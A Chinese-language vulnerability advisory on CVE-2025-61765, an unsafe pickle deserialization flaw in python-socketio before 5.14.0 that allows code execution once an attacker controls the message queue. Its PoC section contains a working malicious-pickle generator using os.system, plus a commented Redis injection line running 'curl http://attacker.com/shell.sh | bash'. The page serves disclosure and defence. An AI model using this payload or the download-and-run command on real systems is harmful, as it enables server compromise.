IPBUF安全漏洞报告
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CVE-2025-61765 CVSS 6.4 中危

CVE-2025-61765 python-socketio消息队列反序列化远程代码执行漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-61765
漏洞类型
远程代码执行(RCE)/不安全反序列化
CVSS评分
6.4 中危
攻击向量
邻接 (AV:A)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
python-socketio

相关标签

远程代码执行RCE反序列化picklepython-socketioSocket.IO消息队列Redis多服务器部署CVE-2025-61765

漏洞概述

CVE-2025-61765是python-socketio(Socket.IO实时客户端和服务器的Python实现)中存在的一个远程代码执行(RCE)漏洞,影响5.14.0之前的版本。该漏洞源于python-socketio在多服务器部署中使用消息队列(如Redis)进行服务器间通信时,消息采用Python的`pickle`模块进行编码。当Socket.IO服务器接收到来自消息队列的此类消息时,会假定其为可信消息并立即进行反序列化操作。攻击者在已经获取消息队列访问权限的前提下,可以向python-socketio服务器发送精心构造的pickle负载,利用Python的`__reduce__`方法在反序列化过程中执行任意代码。该漏洞仅影响消息队列已被入侵的部署场景,攻击者可在Socket.IO服务器进程的上下文和权限下执行任意代码。单服务器系统(不使用消息队列)以及使用安全消息队列的多服务器系统不受此漏洞影响。该漏洞由Bluerock安全团队发现并报告,CVSS评分为6.4,攻击向量为邻接网络(AV:A),需要高权限(PR:H),无需用户交互(UI:N),对机密性和完整性影响为高,对可用性影响为低。

技术细节

python-socketio在多服务器部署架构中,为了实现服务器实例之间的通信和事件分发,支持使用外部消息队列后端(如Redis、RabbitMQ等)。在这些部署模式下,服务器之间传递的消息使用Python内置的`pickle`模块进行序列化和反序列化。

漏洞的核心技术原理在于Python的`pickle`模块本身存在安全风险:`pickle.loads()`函数在反序列化过程中可以执行任意Python代码。攻击者可以通过构造特殊的pickle对象,利用Python对象的`__reduce__`方法指定在反序列化时调用的函数及其参数。当服务器调用`pickle.loads()`处理来自消息队列的消息时,恶意代码将被自动执行。

利用条件与流程:
1. 目标系统必须采用多服务器部署架构,并配置了消息队列后端(如Redis);
2. 攻击者必须首先获取消息队列的访问权限(例如通过Redis未授权访问、弱口令或其他方式入侵消息队列服务器);
3. 攻击者向消息队列中注入恶意的pickle序列化数据;
4. python-socketio服务器从消息队列中读取该消息并调用`pickle.loads()`进行反序列化;
5. 在反序列化过程中,`__reduce__`方法被触发,导致任意Python代码执行。

该漏洞的修复方案是在5.14.0版本中移除`pickle`模块的使用,改用更安全的JSON编码格式进行服务器间消息传递。

攻击链分析

STEP 1
步骤1:初始入侵
攻击者首先通过其他攻击手段(如Redis未授权访问、弱口令爆破、供应链攻击等)获取python-socketio部署中消息队列(Redis等)的访问权限。
STEP 2
步骤2:构造恶意payload
攻击者利用Python pickle模块的`__reduce__`方法构造恶意的序列化负载,该负载在反序列化时将执行任意Python代码(如反弹shell、系统命令执行等)。
STEP 3
步骤3:注入恶意消息
攻击者将恶意pickle负载通过Redis的LPUSH或PUBLISH命令注入到python-socketio服务器监听的队列或频道中。
STEP 4
步骤4:触发反序列化
python-socketio服务器从消息队列中读取该消息,调用`pickle.loads()`进行反序列化,假定消息可信。
STEP 5
步骤5:远程代码执行
在反序列化过程中,`__reduce__`方法被自动调用,触发恶意代码执行,攻击者在Socket.IO服务器进程的上下文和权限下获得代码执行能力。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61765 PoC - Malicious pickle payload for python-socketio RCE # This payload demonstrates how an attacker with access to the message queue # can craft a pickle payload to achieve RCE when deserialized by python-socketio server import pickle import os class MaliciousPicklePayload: """ Crafted pickle payload that exploits CVE-2025-61765. When python-socketio server calls pickle.loads() on this payload, arbitrary code will be executed via the __reduce__ method. """ def __reduce__(self): # Command to execute on the target server # In real attack scenario, this could be reverse shell, data exfiltration, etc. command = "id > /tmp/pwned.txt" return (os.system, (command,)) def generate_malicious_payload(command="id > /tmp/pwned.txt"): """ Generate a malicious pickle payload to be injected into the message queue (e.g., Redis) that python-socketio servers consume. """ class Exploit: def __reduce__(self): return (os.system, (command,)) payload = pickle.dumps(Exploit()) return payload def simulate_attack(): """ Simulate the attack scenario: 1. Attacker gains access to Redis message queue 2. Attacker injects malicious pickle payload into the queue 3. python-socketio server consumes the message and deserializes it 4. Arbitrary code execution occurs """ # Step 1: Generate malicious payload malicious_payload = generate_malicious_payload("whoami > /tmp/rce_result.txt") print(f"[*] Generated malicious pickle payload ({len(malicious_payload)} bytes)") # Step 2: In a real scenario, inject into Redis: # import redis # r = redis.Redis(host='target-redis-host', port=6379) # r.lpush('socketio_queue', malicious_payload) print("[*] Payload would be injected into Redis queue") # Step 3: Demonstrate deserialization (what happens on server side) print("[*] Simulating server-side pickle.loads() call...") try: result = pickle.loads(malicious_payload) print(f"[!] Code executed! Result: {result}") except Exception as e: print(f"[*] Deserialization result: {e}") print("[*] Check /tmp/rce_result.txt for evidence of code execution") if __name__ == "__main__": simulate_attack() # Example: Injecting into Redis message queue used by python-socketio # The python-socketio server uses Redis lists/pubsub for inter-server communication # When it receives a message, it calls pickle.loads() on the data # # import redis # r = redis.Redis(host='vulnerable-redis', port=6379, password='compromised_password') # payload = generate_malicious_payload("curl http://attacker.com/shell.sh | bash") # r.lpush('socketio', payload) # or r.publish('socketio-channel', payload)

影响范围

python-socketio < 5.14.0

防御指南

临时缓解措施
在无法立即升级的情况下,应采取以下临时缓解措施:1)立即加固消息队列的安全配置,包括启用认证、修改默认端口、限制网络访问;2)检查消息队列中是否存在异常或可疑的序列化数据;3)考虑临时将多服务器部署切换为单服务器模式(不使用消息队列);4)监控Socket.IO服务器进程的异常行为,如异常网络连接、未知子进程等;5)尽快升级到python-socketio 5.14.0或更高版本以彻底修复该漏洞。

参考链接

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